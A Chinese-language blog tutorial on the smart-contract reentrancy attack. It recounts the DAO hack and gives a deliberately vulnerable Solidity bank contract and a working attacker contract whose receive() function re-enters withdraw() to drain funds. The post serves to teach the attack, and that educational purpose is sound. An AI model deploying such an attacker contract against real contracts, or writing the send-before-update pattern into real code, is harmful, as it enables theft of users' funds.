iT邦幫忙

0

資安攻防 (一):重入攻擊 (Reentrancy Attack) 原理與駭客實作

  • 分享至 

  • xImage
  •  

從今天開始,我們將正式踏入本系列賽最硬核、也是我身為資安系學生最期待的章節:「資安攻防大亂鬥」。

提到智慧合約的安全漏洞,我們絕對不能跳過重入攻擊 (Reentrancy Attack)。2016 年,著名的「The DAO」專案因為這個漏洞被駭客盜走高達 360 萬枚以太幣(當時價值約 5000 萬美元),這起事件甚至嚴重到讓以太坊社群決定硬分叉,分裂出現在的 ETH 與 ETC。今天,我們就來親手寫一段惡意合約,重現這個毀滅性的攻擊手法!

什麼是重入攻擊?
想像一個生活場景:
你走進銀行領錢,你的帳戶裡有 1 萬元。

  1. 你對櫃檯人員說:「我要提領 1 萬元。」
  2. 櫃檯人員點了 1 萬元的鈔票交給你。
  3. (重點來了)櫃檯人員正準備轉身在電腦上把你的餘額扣除成 0 時...
  4. 你以光速打斷他,再次喊道:「我要提領 1 萬元!」
  5. 櫃檯人員看了一下電腦(因為他還沒扣款,畫面上你的餘額還是 1 萬),於是又拿了 1 萬元給你。
    這就是重入攻擊的核心邏輯。在智慧合約中,如果合約在更新內部餘額狀態之前,就先把資金發送給外部地址,駭客就能利用這個時間差,在接收資金的瞬間「再次呼叫 (Re-enter)」提款函數,無限榨乾合約裡的錢。

靶機:存在漏洞的銀行合約
我們來看看一個典型「寫壞了」的銀行合約。請注意 withdraw 函數裡的執行順序:
'''
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;

contract VulnerableBank {
mapping(address => uint256) public balances;

// 存款函數
function deposit() public payable {
    balances[msg.sender] += msg.value;
}

// 提款函數 (充滿漏洞!)
function withdraw() public {
    uint256 bal = balances[msg.sender];
    require(bal > 0, "Insufficient balance");

    // 致命錯誤 1:先發送以太幣給呼叫者
    (bool sent, ) = msg.sender.call{value: bal}("");
    require(sent, "Failed to send Ether");

    // 致命錯誤 2:錢都發出去了,才更新餘額狀態
    balances[msg.sender] = 0;
}

// 查詢銀行總資金
function getBankBalance() public view returns (uint256) {
    return address(this).balance;
}

}
'''

駭客合約:如何觸發重入?
駭客要怎麼在「收到錢的瞬間」打斷銀行並再次提款呢?這要歸功於 Solidity 中一個特殊的函數:receive() 或 fallback()。

當一個合約收到以太幣,但沒有呼叫任何特定的函數時,EVM 會自動觸發該合約內建的 receive() 函數。駭客只要把「再次提款」的指令寫在這裡面,就能形成完美的無限迴圈!
'''
contract Attacker {
VulnerableBank public bank;

constructor(address _bankAddress) {
    bank = VulnerableBank(_bankAddress);
}

// 攻擊發起點
function attack() public payable {
    require(msg.value >= 1 ether, "Need at least 1 ether to attack");
    
    // 1. 先存入 1 ether 作為誘餌
    bank.deposit{value: 1 ether}();
    
    // 2. 立刻要求提款,啟動惡意迴圈
    bank.withdraw();
}

// 核心陷阱:當 VulnerableBank 把錢轉過來時,會自動觸發這個函數!
receive() external payable {
    // 如果銀行裡還有大於 1 ether 的錢,就繼續重複呼叫提款!
    if (address(bank).balance >= 1 ether) {
        bank.withdraw();
    }
}

function getBalance() public view returns (uint256) {
    return address(this).balance;
}

}
'''

攻擊執行流程拆解

  1. 駭客呼叫 attack(),帶著 1 顆 ETH 存進銀行。
  2. 駭客緊接著呼叫 bank.withdraw()。
  3. 銀行檢查發現駭客餘額有 1 ETH,於是執行 msg.sender.call{value: 1 ether}("") 把錢轉給駭客。
  4. 駭客合約收到 ETH,自動觸發 receive() 函數!
  5. 在 receive() 中,駭客合約一看銀行還有錢,立刻再次呼叫 bank.withdraw()。
  6. 銀行再次檢查駭客餘額(因為前一次的 balances[msg.sender] = 0 根本還來不及執行!),發現餘額還是 1 ETH,於是又把錢轉給駭客。
  7. 迴圈持續,直到銀行的錢被徹底吸乾,最後一筆提款結束後,程式碼才會一層一層退出來,執行那遲來的 balances[msg.sender] = 0。但此時,銀行已經破產了。

透過程式碼,親眼見證了區塊鏈歷史上最惡名昭彰的重入攻擊。這也深刻印證了在 Web3 的世界裡,程式碼的執行順序只要顛倒一行,就是千萬美元的代價。


圖片
  熱門推薦
圖片
{{ item.channelVendor }} | {{ item.webinarstarted }} |
{{ formatDate(item.duration) }}
直播中

尚未有邦友留言

立即登入留言